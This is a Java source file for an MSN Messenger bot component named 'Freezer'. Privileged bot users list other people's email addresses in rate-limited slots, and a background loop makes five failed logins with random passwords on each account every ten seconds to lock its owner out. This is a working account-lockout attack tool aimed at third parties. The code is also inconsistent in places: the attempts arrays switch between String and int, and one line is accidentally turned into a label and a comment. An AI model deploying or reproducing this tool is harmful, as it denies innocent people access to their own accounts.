import java.util.HashMap;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.FileReader;
import java.io.BufferedReader;
import java.io.FileWriter;
import java.io.BufferedWriter;
import java.io.IOException;
import java.util.concurrent.Executors;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.ThreadFactory;
import net.sf.jml.MsnMessenger;
import net.sf.jml.impl.MsnMessengerFactory;
public class Freezer implements Runnable {
public Freezer() {
loadAccounts();
}
public HashMap<String, FreezeList> accounts = new HashMap<String, FreezeList>();
public void loadAccounts() {
File dir = new File("files/Freezelists/");
BufferedReader br = null;
for(File f : dir.listFiles()) {
try {
String owner = f.getName().replace(".txt", "");
br = new BufferedReader(new FileReader(f));
String line = "";
List<String> list = new ArrayList<String>();
List<String> attempts = new ArrayList<String>();
int slots = 0;
while((line = br.readLine()) != null) {
String[] temp = line.split(":");
if(line.startsWith("slots")) {
slots = Integer.parseInt(temp[1]);
continue;
}
list.add(temp[0]);
attempts.add(temp[1]);
}
FreezeList l = new FreezeList(owner, (String[])list.toArray(new String[slots]), (String[])attempts.toArray(new String[slots]), slots);
accounts.put(owner, l);
} catch(Exception e) {
System.out.println("[Freezelist] Causing Error : "+f.getName());
continue;
}
}
}
public int getMaxSlots(String email) {
if(rightsHandler.rights(email) == 1) { //Admin
return 3;
} else if(rightsHandler.rights(email) == 2) { //Owner
return 5;
} else if(rightsHandler.rights(email) == 3) { // S-owner
return 20; // Set to 100 due to listing takes a ton of space already, can increase later.
} else if(rightsHandler.rights(email) == 4) { //Developer
return 30;
}
return 0; //Default, if the rights change for some reason.
}
public boolean freeze(String freezer, String email) {
if(!accounts.containsKey(freezer)) {
int maxslots = getMaxSlots(freezer);
createList(freezer, maxslots);
String[] list = new String[maxslots];
String[] attempts = new String[maxslots];
for(int i = 0; i < list.length; i++) {
list[i] = "Empty";
attempts[i] = "0";
}
FreezeList l = new FreezeList(freezer, list, attempts, maxslots);
accounts.put(freezer, l);
}
int slot = 0;
FreezeList userlist = accounts.get(freezer);
for(String s : userlist.list) {
if(!s.equals("Empty")) {
slot++;
continue;
}
break;
}
if(slot >= userlist.slots) {
return false;
}
userlist.list[slot] = email;
updateList(freezer);
return true;
}
public int totalFrozen() {
int total = 0;
for(Object user : accounts.keySet()) {
for(String s : accounts.get(user.toString()).list) {
if(!s.equals("Empty")) {
total++;
}
}
}
return total;
}
public String listSlots(String email) {
checkList(email);
StringBuilder builder = new StringBuilder();
int slot = 1;
int inuse = 0;
FreezeList list = accounts.get(email);
http://builder.append("Total slots: "+list.slots+"\n");
for(int i = 0; i < list.list.length; i++) {
if(list.list[i].equals("Empty")) {
builder.append("Slot "+slot+": "+list.list[i]+"\n");
} else {
builder.append("Slot "+slot+": "+list.list[i]+" <Attempts:"+list.attempts[i]+">\n");
inuse++;
}
slot++;
}
builder.append("\nTotal slots: "+list.slots+"\nSlots in use: "+inuse+"\nSlots free: "+(list.slots-inuse));
return builder.toString();
}
public void checkList(String email) {
if(!accounts.containsKey(email)) {
int maxslots = getMaxSlots(email);
createList(email, maxslots);
String[] list = new String[maxslots];
String[] attempts = new String[maxslots];
for(int i = 0; i < list.length; i++) {
list[i] = "Empty";
attempts[i] = "0";
}
FreezeList l = new FreezeList(email, list, attempts, maxslots);
accounts.put(email, l);
}
}
public boolean editSlot(String owner, String editTo, int slot) {
checkList(owner);
FreezeList list = accounts.get(owner);
if(slot-1 > list.slots) {
return false;
}
list.list[slot-1] = editTo;
list.attempts[slot-1] = 0;
return true;
}
public String getSlot(String email, int slot) {
checkList(email);
FreezeList list = accounts.get(email);
String finals = list.list[slot-1];
return finals;
}
public boolean clearSlot(String email, int slot) {
checkList(email);
FreezeList list = accounts.get(email);
if(slot > list.slots) return false;
list.list[slot-1] = "Empty";
list.attempts[slot-1] = 0;
return true;
}
public void addSlots(String email, int totalslots) {
if(accounts.containsKey(email)) {
String[] curr = accounts.get(email).list;
int[] att = accounts.get(email).attempts;
accounts.remove(email);
String[] list = new String[totalslots];
String[] attempts = new String[totalslots];
for(int i = 0; i < list.length; i++) {
if(i < curr.length) {
list[i] = curr[i];
attempts[i] = ""+att[i];
} else {
list[i] = "Empty";
attempts[i] = "0";
}
}
FreezeList l = new FreezeList(email, list, attempts, totalslots);
accounts.put(email, l);
updateList(email);
} else {
createList(email, totalslots);
String[] list = new String[totalslots];
String[] attempts = new String[totalslots];
for(int i = 0; i < list.length; i++) {
list[i] = "Empty";
attempts[i] = "0";
}
FreezeList l = new FreezeList(email, list, attempts, totalslots);
accounts.put(email, l);
}
}
public String getFreezer(String frozen) {
StringBuilder builder = new StringBuilder();
String lastAccount = "";
for(Object o : accounts.keySet()) {
FreezeList list = accounts.get(o.toString());
if(list.contains(frozen)) {
int slot = 0;
int perPerson = 0;
for(String lolslot : list.list) {
slot++;
if(lolslot.equals(frozen)) {
perPerson++;
builder.append((perPerson > 1 ? ", "+(slot) : "\n"+(o.toString()+" Slot(s): "+slot)));
}
}
}
}
if(builder.toString().equals("")) {
return "None";
} else {
return builder.toString();
}
}
public void updateList(String email) {
try {
BufferedWriter bw = new BufferedWriter(new FileWriter("files/Freezelists/"+email+".txt"));
FreezeList list = accounts.get(email);
bw.write("slots:"+list.slots);
bw.newLine();
for(int i = 0; i < list.list.length; i++) {
bw.write(list.list[i]+":"+list.attempts[i]);
bw.newLine();
}
bw.close();
} catch(Exception e) {}
}
public void saveList() {
for(Object o : accounts.keySet()) {
updateList(o.toString());
}
}
public void deleteList(String email) {
try {
File file = new File("files/Freezelists/"+email+".txt");
if(file.delete()) {
accounts.remove(email);
} else {
//They do not have a file.
}
} catch(Exception e) {
}
}
public void createList(String email, int slots) {
try {
BufferedWriter bw = new BufferedWriter(new FileWriter("files/Freezelists/"+email+".txt"));
bw.write("slots:"+slots);
bw.newLine();
for(int l = 0; l < slots; l++) {
bw.write("Empty:0");
bw.newLine();
}
bw.flush();
bw.close();
} catch(Exception e) {}
}
private ExecutorService executor = Executors.newCachedThreadPool(new ExecutorThreadFactory());
private static class ExecutorThreadFactory implements ThreadFactory {
private int num = 0;
private ThreadGroup executors = new ThreadGroup("Freezer");
public Thread newThread(Runnable r) {
num++;
return new Thread(executors, r, executors.getName()+"-Thread"+num);
}
}
private String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
public void run() {
while(true) {
try {
int num = 0;
long start1 = System.currentTimeMillis();
for(final Object o : accounts.keySet()) {
/*executor.execute(new Runnable() {
public void run() {*/
//FreezeList list = accounts.get(o.toString());
for(int i = 0; i < accounts.get(o.toString()).list.length; i++) {
String s = accounts.get(o.toString()).list[i];
if(s.equals("Empty")) continue;
for(int il2 = 0; il2 < 5; il2++) { // Send 5 attempts for each freezer account, better freezing.
try {
MsnMessenger msn = MsnMessengerFactory.createMsnMessenger(s, chars+(Math.random()*10000));
msn.login();
msn = null;
accounts.get(o.toString()).attempts[i]++;
} catch(Exception e) {
}
//}
}
}
/* }
});*/
}
try {
System.gc();
long total = (System.currentTimeMillis()-start1);
if(total >= 10000) {
continue;
}
Thread.sleep(10000-total);
} catch(Exception e) {
}
} catch(Exception e) {
}
}
}
}